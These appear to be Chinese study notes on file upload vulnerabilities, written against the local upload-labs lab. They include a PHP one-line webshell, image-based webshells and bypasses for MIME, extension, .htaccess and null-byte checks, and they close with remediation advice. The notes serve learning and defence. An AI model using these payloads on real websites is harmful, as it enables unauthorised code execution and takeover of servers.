3. 文件上传漏洞——漏洞总结笔记

时间:2024-03-26 17:41:25

一、文件上传漏洞


  • 前提条件:
  1. 能上传webshell (若仅让上传图片,而又绕不过去,则不行)
  2. webshell路径可知 (需要访问目标, 不知道则访问不了 )
  3. webshell 可以被访问
  4. webshell可以被解析(即可以显示页面; 若返回页面直接显示代码,并没有解析)

  • 判断
  1. 确认是什么过滤?
    上传任意文件,得到仅允许上传jpg 等图片文件
  2. 上传木马图片,jpg+一句话木马文件
    发现上传错误----检测了文件内容
  3. 加GIF89a, 后缀为txt

1. 基础操作


URL操作

执行webshell

url根目录后:
?id=phpinfo();

id=system(whoami);

id=system(ipconfig);
......

文件操作

基础代码
<?php phpinfo(); ?>


2. webshell

说明

一种恶意脚本 或网站后门

webshell分类

php/asp/jsp/木马等
大马/小马/一句话木马
打包马/拖库马/内存马


  • 一句话木马

代码:
<?php @eval($_POST[' cmd']); ?>

解释:

数据传递:post 通过post接收cmd这个参数值

数据执行: 原代码:<?php @eval($_POST['cmd']); ?>
执行:cmd=phpinfo();
变为: <?php @eval(phpinfo();); ?>
等价post赋给cmd的值

3. 分类

  • post

post代码中有: @,用于隐藏信息
post方式,不会被记录,记录了一般人也看不懂

操作
hackbar----开启post-----body中写kong=phpinfo(); ----执行----得到页面返回结果


  • get

get代码中没有@, 则直接显示代码(如果加上@,则也不会显示)
get方式会记录入侵者的操作,所以一般不用get


4. 检测文件方式


  • 判断c/s检测

操作

方式1:上传非法文件,返回结果是否很快?(上传非图片文件,立马错误提示)

快---客户端 ( 原因: 因为不需要将这个文件发送给服务器 )
慢---服务端 (点击上传,浏览器按钮刷新,原因: 发送数据,服务端接收数据-返回响应-浏览器接收响应-刷新页面)

方式2: 刷新按钮
客户端检测,刷新按钮不会刷新,
服务端检测,刷新按钮会刷新

方式3: bp抓包
客户端: bp抓不到相应包
服务端: bp可以抓到


4.1 客户端检测


检测方式

javascript检测


绕过方式

  1. 手动禁用javascript 或使用 noscript插件(不推荐)

操作:
检查----三点(定制开发者工具及帮助)----设置----勾选禁用JavaScript-----点击上传


案例:
网页复制文字时----扫码交钱-----可以禁用JavaScript----再次复制

  1. 删除onsubmit 等相关元素代码

操作

上传页面----检查----左上角箭头----点击上传位置的元素----查看器:找到onsubmit(上传按钮)
找到查看器中的return checkfile()----删除-----回车-----上传

上传成功后, 复制图像链接----打开url----右键检查----hackbar----load----post data ---- cmd=phpinfo();-----返回页面-----说明上传成功

限制
只能使用一次,再次打开return checkfile()函数又回来了

辅助查看

右键页面----查看页面源代码-----查找------script type="javascript/txt";
其中,checkfile 函数作用:判断文件名;
file== "" 或 file==null 文件名为空,说明没有上传文件


4.2 服务端检测


判断检测了后缀还是内容

操作
上传代码图片( 内容为代码, 后缀为图片后缀)

文件能上传: 仅检查后缀
文件不能上传: 检查了后缀和内容

  • other(逻辑)


mime类型检测

mime类型绕过方式

操作
bp抓包, 修改第二个content-type参数为-----content-type: image/png-------修改完直接关闭拦截

随意上传文件后缀,bp中抓包任意更改mime类型

hackbar执行相关文件代码: cmd=phpinfo();


常见mime类型

.gif gif image/gif
.png image/png
.jpg image/jpeg mime类型为jpeg



文件后缀检测

判断

操作:
上传任意后缀

成功:黑名单
失败:白名单(规定了只允许上传哪些东西)

黑名单检测
  • 后缀大小写绕过

前提: 仅仅使用Windows, 对大小写不敏感; 访问1.php 与 访问1.PHP一样
操作: bp中抓包,修改后缀为大写, 成功上传; 这时文件名会被服务器修改,复制该文件名访问

  • 后缀双写绕过

操作: bp中抓包,修改后缀. 例如: x.php 修改为 x.phphpp

  • 其它可解析后缀绕过

前提: 后端配置文件httpd-conf中 配置了该后缀

后端配置: 后端疏忽操作(站在后台维护角度)-----phpstudy----其他选项-----打开配置文件-----httpd.conf 文件, 第403行加上该文件后缀后,就可以上传-----重启服务

操作: 更改不同服务器后缀为以下各种
PHP: php2、php3、php5、phtml、.pht(是否解析需要根据配置文件中设置类型来决定)
ASP:asa、cer、cdx
ASPX:ascx、ashx、asac
JSP:jspx、jspf

  • 图片+.htaccess配置文件绕过

操作:
上传 nn.png 与 .htaccess文件; .htaccess文件代码内容设置图片名为: nn.png ,则上传nn.png 文件

文件内容:
<FilesMatch "nn.png"> setHandler application/x-httpd-php </FilesMatch>

代码解释: 
调用解析器去解析图片nn.png

访问对象:
nn.png (http://127.0.0.1/upload-labs-master/upload/nn.png) ,非.htaccess文件

生效对象:
.htaccess该文件上传到某个目录,就对这个目录生效
httpd.conf文件为apache服务器整个网站的目录

注意: .htaccess文件(不能有文件名), 若有bp抓包修改


操作
bp抓包,修改后,访问response中地址: http://127.0.0.1/upload-labs-master/upload/1.png
执行相关代码---- cmd=phpinfo();



白名单检测

判断

上传一张图片与上传一个自己构造的后缀. 如果只能上传图片不能上传其它后缀文件,说明是白名单检测

前提条件
php:php < 5.3.29且magic_quotes_gpc=off
java: jdk < JDK1.7.0_40

后台管理员误操作
后端误设置服务器版本: phpstudy------切换版本: 5.2.17
phpstudy----打开配置文件----php-ini
ctrl+F---- magic_quotes_gpc, 修改为: Off
保存-----重启


  • %00截断绕过

操作

bp抓包,修改参数
将  save_path=../upload/
修改为  save_path=../upload/test.php%00

访问: /upload/test.php ; ../upload/test.php/132023.png
执行: cmd=phpinfo(); -----成功

原理

%00(空格) 是一个url编码, 当url中出现%00时就会认为读取已结束
response后
复制路径过来为: ../upload/test.php , test后有%00, 将后面内容删除了


  • 0x00截断绕过

操作

抓包-----
将   ../upload/
修改为   ../upload/cmd.php a ( 注释:空格+a, 表示添加一个标记)

切换到
十六进制HEX-----找到../upload/cmd.php a其中的空格,------ 将空格(16进制为20) 改为 00

原理

response中:   ../upload/ cmd.php空格a.... ,后面内容截断,复制不了
访问: /upload/cmd.php -----成功

系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。00是文件的十六进制内容里的00,而不是文件名中的00


  • 文件包含漏洞+图片马进行绕过

操作

上传文件-----复制图像链接-----打开----复制文件名; 点击文件包含漏洞
url中输入: ?file=upload/6520231124134708.png
结果: 文件太大,出现错误
蚁剑连接时url为: png的url----http://127.0.0.1/upload-labs-master/include.php?file=upload/6520231124134708.png



文件内容检测

判断

操作
上传成功后的图片和上传前的图片大小,颜色和md5是否有变化?

有: 重新渲染
没有: 仅读取内容


  • 文件幻数检测

常见的图片文件幻数

png (16进制) 文件幻数: 89 50 4E 47 0D 0A 1A 0A
JPEG(jpg)   文件幻数:  FF D8 FF E0 00 10 4A 46
GIF         文件幻数:  47 49 46 38 39 61 0A 00

查看图片文件的幻数

操作
bp抓包-----hex---查看

利用hxd/010/Edjpgcom 等软件,拖动文件进来即可查看

不同的文件格式,如docx, png, zip等文件幻数都不相同


添加文件幻数

操作
php文件中添加gif文件幻数

代码如下
GIF89a<?php @eval($_POST[' cmd']);?>



  • 软件/cmd 制作图片马

hxd64.exe

操作:
在Hxd工具右侧中直接添加一句话木马代码:
代码如下
<?php @eval($_POST['cmd']); ?>
或者修改hex中代码图片幻数


Edjpgcom

条件:只能编辑jpg文件
操作: 拖动图片到Edjpgcom.exe图标中打开----右侧hex为00 的地方,添加一句话木马


010Editor.exe

操作: 拖动图片到Edjpgcom.exe图标中打开----右右侧hex为00 的地方,添加一句话木马


cmd制图片马

cmd下执行(必须在有图片和马的目录下):copy aaa.jpg/b + test.php/a shell.jpg

解释:
/b 以二进制方式打开
/a 以ASCII方式打开
生成shell.jpg文件(包含aaa.jpg和test.php文件内容),可以正常打开
两张图片都可以正常打开,而shell马文件会在最后加上一句话木马


手工制作图片马

操作:在正常图片中添加一句话木马



  • 二次渲染

操作

上传正常图片----上传后----右键-----将图片另存为;
之后,打开010 editor工具,在原始文件中都为00部分插入webshell马

原理

根据用户上传的图片,新生成一个图片. 将原始图片删除,将新图片添加到特殊的数据库中
例如: 网站根据用户上传的头像生成大中小不同尺寸的图像



其他

  • 组合上传

  • 文件上传: 前端验证+mime+黑名单/文件内容
  • 文件包含+白名单


文件上传

  • 1.php恶意代码文件 (php文件马)

可以直接进行利用, 只要服务器有php解析器就能解析

  • 2.代码图片 (php文件幻数马)

  • 3.带马正常图片 (图片马)

必须要配合其他的漏洞进行利用

1 文件包含漏洞解析
2 htaccess+1.jpg 解析
3 中间件+1.jpg解析
才能解析


二、其他基础技巧

  • web日志开启

phptutorial\apache\logs\access.log

日志内容解释:
ip地址 访问时间 请求方法 访问的目录 状态码 内容长度

  • 问题

php文件可以上传,但是有php文件的一句话木马上传不了;
编辑在图片里面的一句话代码通过文件包含漏洞执行里面的PHP语句;

三、文件上传漏洞修复

1、 上传的目录设置为不可执行。只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要。
2、 对文件后缀的判断中使用白名单的方式。
3、 文件服务器和web服务器分离,也就是上传的文件单独存放到其他的服务器之中。
4、 不需要返回文件路径的情况下,随机改写文件名

待续.......